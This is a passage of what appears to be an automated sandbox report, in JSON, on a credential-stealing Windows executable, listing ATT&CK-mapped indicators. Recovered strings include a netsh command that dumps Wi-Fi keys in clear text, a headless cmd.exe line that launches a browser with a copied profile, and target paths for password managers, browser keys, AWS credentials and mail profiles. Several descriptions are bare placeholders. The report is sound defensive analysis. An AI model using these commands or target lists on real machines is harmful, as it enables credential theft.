assigns a password and privilege level.\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"NetUserDel\" which can \"delete a user account from a server.\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"NetUserSetInfo\" which can \"set the parameters of a user account.\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1087.001","relevance":1,"id":"static-85","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"References hosts file in file/memory","description":"Found string \"C:\\Windows\\System32\\drivers\\etc\\hosts\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-479","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Ransomware/Banking","name":"Imports SHEmptyRecycleBin API","description":"Observed import api \"SHEmptyRecycleBin\" which can \"empty the Recycle Bin on the specified drive\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1070","relevance":1,"id":"static-84","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Remote Access Related","name":"Able to connect to a cloud service","description":"Found string \"%s\\gcloud\" (Indicator: \"gcloud\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"DevTools/GCloud/%s\" (Indicator: \"gcloud\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021.007","relevance":1,"id":"string-767","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WTSLogoffSession\" (Indicator: \"WTSLogoffSession\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access VPN profile file","description":"Found string \"%s\\Cisco\\Cisco AnyConnect Secure Mobility Client\\Profile\" (Indicator: \"\\cisco\\cisco anyconnect secure mobility client\\profile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-857","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"Found string \"%s\\KeePassXC\\keepassxc.ini\" (Indicator: \"keepass\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"PasswordManagers/KeePassXC/keepassxc.ini\" (Indicator: \"keepass\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"%s\\*.kdbx\" (Indicator: \".kdbx\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"%s\\.bitwarden\" (Indicator: \"bitwarden\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.005","relevance":3,"id":"string-10057","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"%s --user-data-dir=\"%s\"\" (Indicator: \"--user-data-dir\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"Conhost --headless cmd.exe /c start \"\" \"%s\" --user-data-dir=\"%s\"\" (Indicator: \"--user-data-dir\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"--user-data-dir\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"--profile-directory=\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1550.004","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"DragQueryFileW\" (File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"GetClipboardData\" (File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"DragQueryFileW\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"GetClipboardData\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$5a","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"Found string \"AddClipboardFormatListener\" (File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"AddClipboardFormatListener\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$5b","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh","description":"Found string \"cmd.exe /c chcp 65001 >nul && netsh wlan show profile name=\"%s\" key=clear > \"%s\"\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.002","relevance":1,"id":"string-671","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$5c","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"$5d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsA\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: tmp_1dcd6d3c_app.exe]\n Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: tmp_1dcd6d3c_app.exe]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$5e","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to steal credentials via Security Account Manager (SAM) modules","description":"\"tmp_1dcd6d3c_app.exe\" loaded module \"%WINDIR%\\System32\\samcli.dll\" at 10B40000","origin":"Loaded Module","mitre_attack_id":"T1589.001","relevance":3,"id":"module-19","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$5f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\" \"%s\"\"\" (Indicator: \"Select-Object\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$62","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"GetComputerName\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to to enumerates the credentials (API string)","description":"Found reference to API \"CredEnumerateA\" (Indicator: \"CredEnumerate\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-81","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$65","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"\"Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n \"Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n \"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676\" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n \"C:\\Program Files\\Postbox\" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\n \"%s\\Claws-mail\" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$66","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"Found string \"[Backspace]\" (Indicator: \"[BACKSPACE]\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$67","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"Found string \"key4.db\" (Indicator: \"key4.db\"; in Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.003","relevance":1,"id":"string-405","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Strings related to file managers detected","description":"\"RDP/RecentConnections.txt\" (Indicator: \"connections.txt\")","origin":"File/Memory","mitre_attack_id":"T1555","relevance":3,"id":"string-136","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Destruction","name":"Able to permanently delete files from the Recycle Bin","description":"Found string \"SHEmptyRecycleBinA\" (File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"SHEmptyRecycleBinA\" (Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-922","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to delete a user account from a server (API string)","description":"Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found reference to API \"NetUserDel\" (Indicator: \"NetUserDel\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1531","relevance":1,"id":"string-216","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Destruction","name":"Contains ability to lock the workstation's display (API string)","description":"Found reference to API \"LockWorkStation\" (Indicator: \"LockWorkStation\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1499","relevance":1,"id":"string-221","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Able to access AWS credential file","description":"Found string \"aws_access_key_id\" (Indicator: \"aws_access_key_id\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"aws_secret_access_key\" (Indicator: \"aws_secret_access_key\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")\n Found string \"aws_session_token\" (Indicator: \"aws_session_token\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1528","relevance":1,"id":"string-5076","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; File: \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\")\n Found string \"ChangeServiceConfigA\" (Indicator: \"changeserviceconfiga\"; Source: \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"6a217d1d5bb9a3a16705c262"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteTreeA\" in file \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"\n Found registry deletion API: \"RegDeleteValueW\" in file \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"\n Found registry deletion API: \"RegDeleteKeyA\" in file \"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin\"\n Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyA\" in \"00000000-00007748.00000000.139879.C0A73000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteTreeA\" in 